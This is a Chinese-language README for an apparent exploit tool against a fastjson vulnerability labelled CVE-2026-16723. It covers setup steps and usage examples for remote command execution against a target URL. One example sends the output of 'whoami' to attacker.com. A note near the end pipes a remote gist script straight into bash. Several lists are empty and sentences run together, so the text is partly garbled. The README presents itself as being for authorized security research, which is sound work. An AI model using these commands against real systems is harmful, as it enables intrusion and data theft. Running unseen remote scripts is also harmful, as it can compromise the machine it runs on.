请通过 PayPal 或扫描下方二维码来支持本项目的维护。
请仅在安全且已获授权的环境中使用本项目，例如：
示例设置：
git clone https://github.com/HORKimhab/CVE-2026-16723
cd CVE-2026-16723
# Download fastjson JAR (optional - script will auto-download)
wget https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
示例用法：
# Basic exploit
python CVE-2026-16723.py -t http://localhost:8080/parse
# Custom command
python CVE-2026-16723.py -t http://localhost:8080/parse -c "id > /tmp/result"
# With custom IP and port
python CVE-2026-16723.py -t http://localhost:8080/parse -c "whoami" --remote-ip 192.168.1.100 --port 9000
# HTTPS target
python CVE-2026-16723.py -t https://target.com/api/parse -c "curl http://attacker.com/$(whoami)" --insecure
# Using proxy
python CVE-2026-16723.py -t http://localhost:8080/parse --proxy http://127.0.0.1:8080
# Custom FD range
python CVE-2026-16723.py -t http://localhost:8080/parse --fd-range 10-50
# Quiet mode
python CVE-2026-16723.py -t http://localhost:8080/parse --quiet
注意：
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清除嵌套目录中的 .git一个用于在受控环境中学习、测试和研究网络安全概念的仓库。
本仓库仅用于教育及已获授权的安全研究。
它旨在帮助用户了解：
请仅在您拥有许可的环境中使用本仓库，例如：
严禁未经授权或非法使用。
作者和贡献者不承担因本项目造成的任何损害、滥用、法律问题或损失的责任。
使用本仓库即表示您同意：
本项目旨在用于：
请遵循负责任披露实践，并遵守所有适用法律。
如需进行负责任披露或合作，请通过 GitHub 联系仓库维护者。